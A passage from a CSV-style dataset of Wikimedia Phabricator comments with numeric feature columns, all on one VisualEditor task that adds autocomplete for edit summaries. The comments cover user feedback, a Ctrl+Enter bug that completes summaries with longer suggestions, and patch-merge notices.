The edit summaries are pulled from the API and old edit summaries are immutable so I don't see an easy fix for this without using another storage system. Suggestions welcome.",,,1556124638,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,303,,0.0,0.0,0.0,3.0,3.0,8.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,23.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,18.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,8.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.205128205128205,0.8205128205128205,"QUOTE
QUOTE
QUOTE

The edit summaries are pulled from the API and old edit summaries are immutable so I don't see an easy fix for this without using another storage system. Suggestions welcome."
1269997,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",">>! In T50274#5107339, @Izno wrote:
> My only problem: when I have entered a summary, the drop down appears. When I hit the hotkeys for save, the system will complete the summary with the top item whatever the value of my original summary was. (This is not how it works in old WTE.)

This is a //big// problem for me as well. My most common summary on talk pages or project discussion pages is just “reply”, but the first suggestions are all like “reply (something something)”, “reply, something else”, etc. When I press Ctrl+Enter out of habit – for years, VisualEditor has trained me that Ctrl+Enter in the summary field means “save” – then it will “complete” my edit summary with some gibberish that makes no sense in the current context, and if I don’t notice it I’ll save an edit with a nonsense summary.

Is it possible to opt out of this feature until that’s fixed?",,,1556123623,,PHID-USER-7raa3vx5zsq6a56gil3q,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,303,,1.0,1.5,0.0,0.0,0.0,3.5,1.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,4.5,0.0,5.0,9.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,5.5,2.0,2.0,1.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,16.5,0.5,2.0,0.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,4.0,2.0,7.0,1.0,1.5,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.5,9.5,0.5,0.5,0.0,0.0,6.5,0.0,1.0,2.0,1.0,0.0,0.0,0.5,1.0,3.723880597014926,0.7686567164179104,"QUOTE
QUOTE

This is a //big// problem for me as well. My most common summary on talk pages or project discussion pages is just “reply”, but the first suggestions are all like “reply (something something)”, “reply, something else”, etc. When I press Ctrl+Enter out of habit – for years, VisualEditor has trained me that Ctrl+Enter in the summary field means “save” – then it will “complete” my edit summary with some gibberish that makes no sense in the current context, and if I don’t notice it I’ll save an edit with a nonsense summary.

Is it possible to opt out of this feature until that’s fixed?"
1266481,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",">>! In T50274#5107851, @Whatamidoing-WMF wrote:
>>>! In T50274#5106435, @Trizek wrote:
>> Great feature. <3 
>> Can we have a way to delete misspelled sentences? Thanks!
> 
> No.  But if you make 200 more edits, it'll automagically go away.  The tool only looks back at your most recent 200 edit summaries.

So I have to be patient. And be careful: I've already accidentally entered some bad summaries while editing. :/",,,1555530842,,PHID-USER-fptvc452oby6t6mwcy2u,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,302,,3.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,9.0,6.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,29.0,3.0,3.0,3.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,14.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.7142857142857144,0.6571428571428571,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

So I have to be patient. And be careful: I've already accidentally entered some bad summaries while editing. :/"
1263697,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",">>! In T50274#5107874, @Whatamidoing-WMF wrote:
> 
> (In the meantime, the workaround is to hit the Escape key.)

(And then hit Ctrl + Enter again.)",,,1555098678,,PHID-USER-yawytiq5q7eduxmvnkid,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,301,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9375,0.8125,"QUOTE
QUOTE
QUOTE

(And then hit Ctrl + Enter again.)"
1263696,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",">>! In T50274#5107874, @Whatamidoing-WMF wrote:
> @Esanders, Izno's problem is going to drive me nuts.  When there's an exact match, it needs to use that exact match, and not suggest something longer.  If I've typed `r`, and the options it finds are 35 instances of `r` and one of `Re-ping` in my last 200 edit summaries, then it should definitely be suggesting `r` and not the other longer one. 
> 
> (In the meantime, the workaround is to hit the Escape key.)

(And then hit Ctrl + Enter again.)",,,1555098668,,PHID-USER-yawytiq5q7eduxmvnkid,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,301,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,39.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9444444444444446,0.7222222222222222,"QUOTE
QUOTE
QUOTE
QUOTE

(And then hit Ctrl + Enter again.)"
1263666,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","@Esanders, Izno's problem is going to drive me nuts.  When there's an exact match, it needs to use that exact match, and not suggest something longer.  If I've typed `r`, and the options it finds are 35 instances of `r` and one of `Re-ping` in my last 200 edit summaries, then it should definitely be suggesting `r` and not the other longer one. 

(In the meantime, the workaround is to hit the Escape key.)",,,1555094625,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,301,,0.0,1.0,0.0,0.0,2.0,7.0,1.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,1.0,3.0,1.0,5.0,9.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,12.0,2.0,4.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,7.0,9.0,7.0,0.0,0.0,0.0,7.0,0.0,1.0,1.0,1.0,2.0,2.0,0.0,0.0,3.630434782608696,0.6630434782608695,"SCREEN_NAME, Izno's problem is going to drive me nuts.  When there's an exact match, it needs to use that exact match, and not suggest something longer.  If I've typed CODE, and the options it finds are 35 instances of CODE and one of CODE in my last 200 edit summaries, then it should definitely be suggesting CODE and not the other longer one. 

(In the meantime, the workaround is to hit the Escape key.)"
1263665,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","@Esanders, Izno's problem is going to drive me nuts.  When there's an exact match, it needs to use that exact match, and not suggest something longer.  If I've typed `r`, and the options it finds are 35 instances of `r` and one of `Re-ping` in my last 200 edit summaries, then it should definitely be suggesting `r` and not the other longer one. ",,,1555094590,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,301,,0.0,1.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,4.0,1.0,7.0,8.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,4.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,3.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,7.0,0.0,8.0,8.0,7.0,0.0,0.0,0.0,8.0,0.0,1.0,1.0,1.0,3.0,3.0,0.0,0.0,3.723684210526316,0.6842105263157895,"SCREEN_NAME, Izno's problem is going to drive me nuts.  When there's an exact match, it needs to use that exact match, and not suggest something longer.  If I've typed CODE, and the options it finds are 35 instances of CODE and one of CODE in my last 200 edit summaries, then it should definitely be suggesting CODE and not the other longer one. "
1263663,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",">>! In T50274#5106435, @Trizek wrote:
> Great feature. <3 
> Can we have a way to delete misspelled sentences? Thanks!

No.  But if you make 200 more edits, it'll automagically go away.  The tool only looks back at your most recent 200 edit summaries.",,,1555094341,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,301,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,5.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,8.0,5.0,5.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.4324324324324325,0.8108108108108109,"QUOTE
QUOTE
QUOTE

No.  But if you make 200 more edits, it'll automagically go away.  The tool only looks back at your most recent 200 edit summaries."
1263554,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","I agree, this is well done.

My only problem: when I have entered a summary, the drop down appears. When I hit the hotkeys for save, the system will complete the summary with the top item whatever the value of my original summary was. (This is not how it works in old WTE.)

The particular issue was that I wanted a summary of ""clean table"", but after having entered the entire thing in it removed the exact match and attempted to add the lengthier summary after hitting cntrl + enter, and then chose //not// to save. (The biggest win for me is that the hotkeys should always save regardless of the current value of the dropdown.)

{F28628688}

{F28628692}

{F28629206}

Happy to split this to a different task if it seems like a significant chunk of additional work...
",,,1555081974,,PHID-USER-yawytiq5q7eduxmvnkid,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,301,,0.0,0.0,0.0,0.5,0.5,8.0,1.0,0.0,0.0,0.5,1.5,0.0,0.0,0.5,0.0,3.5,0.0,5.0,11.0,0.0,2.0,0.5,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.5,0.0,5.0,0.0,1.5,1.0,0.0,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,1.5,0.5,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,10.0,2.5,7.5,3.0,2.5,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.5,11.0,3.5,0.0,1.0,0.0,5.5,0.0,2.0,2.0,0.5,1.0,0.5,0.5,0.0,3.788305322128852,0.7279411764705883,"I agree, this is well done.

My only problem: when I have entered a summary, the drop down appears. When I hit the hotkeys for save, the system will complete the summary with the top item whatever the value of my original summary was. (This is not how it works in old WTE.)

The particular issue was that I wanted a summary of ""clean table"", but after having entered the entire thing in it removed the exact match and attempted to add the lengthier summary after hitting cntrl + enter, and then chose //not// to save. (The biggest win for me is that the hotkeys should always save regardless of the current value of the dropdown.)

{F28628688}

{F28628692}

{F28629206}

Happy to split this to a different task if it seems like a significant chunk of additional work...
"
1263545,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","I agree, this is well done.

My only problem: when I have entered a summary, the drop down appears. When I hit the hotkey for save, the system will complete the summary with the top item whatever the value of my original summary was. (This is not how it works in old WTE.)

The particular issue was that I wanted a summary of ""clean table"", but after having entered the entire thing in it removed the exact match and attempted to add the lengthier summary after hitting cntrl + shift + s, and then chose //not// to save. (The biggest win for me is that the hotkeys should always save regardless of the current value of the dropdown.)

{F28628688}

{F28628692}

{F28629206}

Happy to split this to a different task if it seems like a significant chunk of additional work...
",,,1555080996,,PHID-USER-yawytiq5q7eduxmvnkid,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,301,,0.0,0.0,0.0,0.5,0.5,7.5,1.0,0.0,0.0,0.5,1.5,0.0,0.0,0.5,0.0,3.5,0.0,5.0,11.0,0.0,2.0,0.5,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.5,0.0,4.0,0.0,1.5,1.0,0.0,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,1.5,0.5,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,9.5,2.5,7.5,3.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.5,11.0,3.5,0.0,1.0,0.0,5.5,0.0,2.0,2.0,0.5,1.0,0.5,0.5,0.0,3.749521203830369,0.7252393980848153,"I agree, this is well done.

My only problem: when I have entered a summary, the drop down appears. When I hit the hotkey for save, the system will complete the summary with the top item whatever the value of my original summary was. (This is not how it works in old WTE.)

The particular issue was that I wanted a summary of ""clean table"", but after having entered the entire thing in it removed the exact match and attempted to add the lengthier summary after hitting cntrl + shift + s, and then chose //not// to save. (The biggest win for me is that the hotkeys should always save regardless of the current value of the dropdown.)

{F28628688}

{F28628692}

{F28629206}

Happy to split this to a different task if it seems like a significant chunk of additional work...
"
1263542,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","I agree, this is well done.

My only problem: when I have entered a summary, the drop down appears. When I hit the hotkey for save, the system will complete the summary with the top item whatever the value of my original summary was. (I am fairly certain this was not the behavior with non-VE editor.

The particular issue was that I wanted a summary of ""clean table"", but after having entered the entire thing in it removed the exact match and attempted to add the lengthier summary after hitting cntrl + shift + s, and then chose //not// to save. (The biggest win for me is that the hotkeys should always save regardless of the current value of the dropdown.)

{F28628688}

{F28628692}

{F28629206}

Happy to split this to a different task if it seems like a significant chunk of additional work...
",,,1555080704,,PHID-USER-yawytiq5q7eduxmvnkid,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,301,,0.0,0.0,0.0,0.5,0.5,9.0,2.0,0.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,4.0,0.0,4.5,11.0,0.0,1.5,0.5,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.5,0.0,3.5,0.0,1.0,1.0,0.0,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,1.5,0.5,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,10.0,3.0,7.5,2.5,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,11.0,3.0,0.0,1.0,0.0,5.0,0.0,1.5,2.0,0.5,1.0,0.5,0.5,0.0,3.8064263322884013,0.7087251828631138,"I agree, this is well done.

My only problem: when I have entered a summary, the drop down appears. When I hit the hotkey for save, the system will complete the summary with the top item whatever the value of my original summary was. (I am fairly certain this was not the behavior with non-VE editor.

The particular issue was that I wanted a summary of ""clean table"", but after having entered the entire thing in it removed the exact match and attempted to add the lengthier summary after hitting cntrl + shift + s, and then chose //not// to save. (The biggest win for me is that the hotkeys should always save regardless of the current value of the dropdown.)

{F28628688}

{F28628692}

{F28629206}

Happy to split this to a different task if it seems like a significant chunk of additional work...
"
1263308,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","Great feature. <3 
Can we have a way to delete misspelled sentences? Thanks!",,,1555059406,,PHID-USER-fptvc452oby6t6mwcy2u,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,301,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,3.764705882352941,1.0,"Great feature. <3 
Can we have a way to delete misspelled sentences? Thanks!"
1263236,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",Good job!,,,1555047671,,PHID-USER-4nsetzljuvrlickb5xoz,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,301,,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,1.0,Good job!
1263105,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",Wonderful and seems to be done,,,1555019166,,PHID-USER-timi4nkerc272muhuatw,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,301,,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,1.0,Wonderful and seems to be done
1258131,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","Change 495451 **merged** by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] Edit summary autocomplete

[[https://gerrit.wikimedia.org/r/495451]]",,,1554399877,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,300,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,4.068965517241379,0.7241379310344828,"Change 495451 **merged** by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] Edit summary autocomplete

[[GERRIT_URL]]"
1241290,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",">>! In T50274#5016202, @Esanders wrote:
> It doesn't appear to work yet in Chrome/FF: https://codepen.io/edg2s/pen/eXGdVM

Nor in Safari.",,,1552404027,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,297,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.125,0.875,"QUOTE
QUOTE

Nor in Safari."
1240922,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",It doesn't appear to work yet in Chrome/FF: https://codepen.io/edg2s/pen/eXGdVM,,,1552338121,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,297,,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,8.0,15.0,23.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,It doesn't appear to work yet in Chrome/FF: URL
1240155,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",">>! In T50274#5012835, @gerritbot wrote:
> Change 495451 had a related patch set uploaded (by Esanders; owner: Esanders):
> [mediawiki/extensions/VisualEditor@master] Edit summary autocomplete
> 
> [[https://gerrit.wikimedia.org/r/495451]]

Why doesn't this make use of T50274#4048873 ? It looks like Firefox, Webkit, and Chromium all support autocomplete (even though [[https://developer.mozilla.org/en-US/docs/Web/HTML/Element/textarea | Mozilla.org]] indicates otherwise, the link to the Chromium indicates the bug is fixed since Jan 2018)...",,,1552151736,,PHID-USER-yawytiq5q7eduxmvnkid,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,296,,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,25.0,5.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,8.0,19.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,3.983050847457627,0.7457627118644068,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Why doesn't this make use of T50274#4048873 ? It looks like Firefox, Webkit, and Chromium all support autocomplete (even though [[URL | Mozilla.org]] indicates otherwise, the link to the Chromium indicates the bug is fixed since Jan 2018)..."
1240116,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","Change 495451 had a related patch set uploaded (by Esanders; owner: Esanders):
[mediawiki/extensions/VisualEditor@master] Edit summary autocomplete

[[https://gerrit.wikimedia.org/r/495451]]",,,1552137996,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,296,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,18.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,18.0,4.515151515151516,0.8181818181818182,"Change 495451 had a related patch set uploaded (by Esanders; owner: Esanders):
[mediawiki/extensions/VisualEditor@master] Edit summary autocomplete

[[GERRIT_URL]]"
1184646,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",Proposed in [[https://meta.wikimedia.org/wiki/Community_Wishlist_Survey_2019/Editing/Autocomplete_summaries_in_VisualEditor|Community Wishlist Survey]],,,1543326392,,PHID-USER-dcexrhjioxqqsq4pdrfe,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,282,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,3.4444444444444446,0.7777777777777778,Proposed in [[URL Wishlist 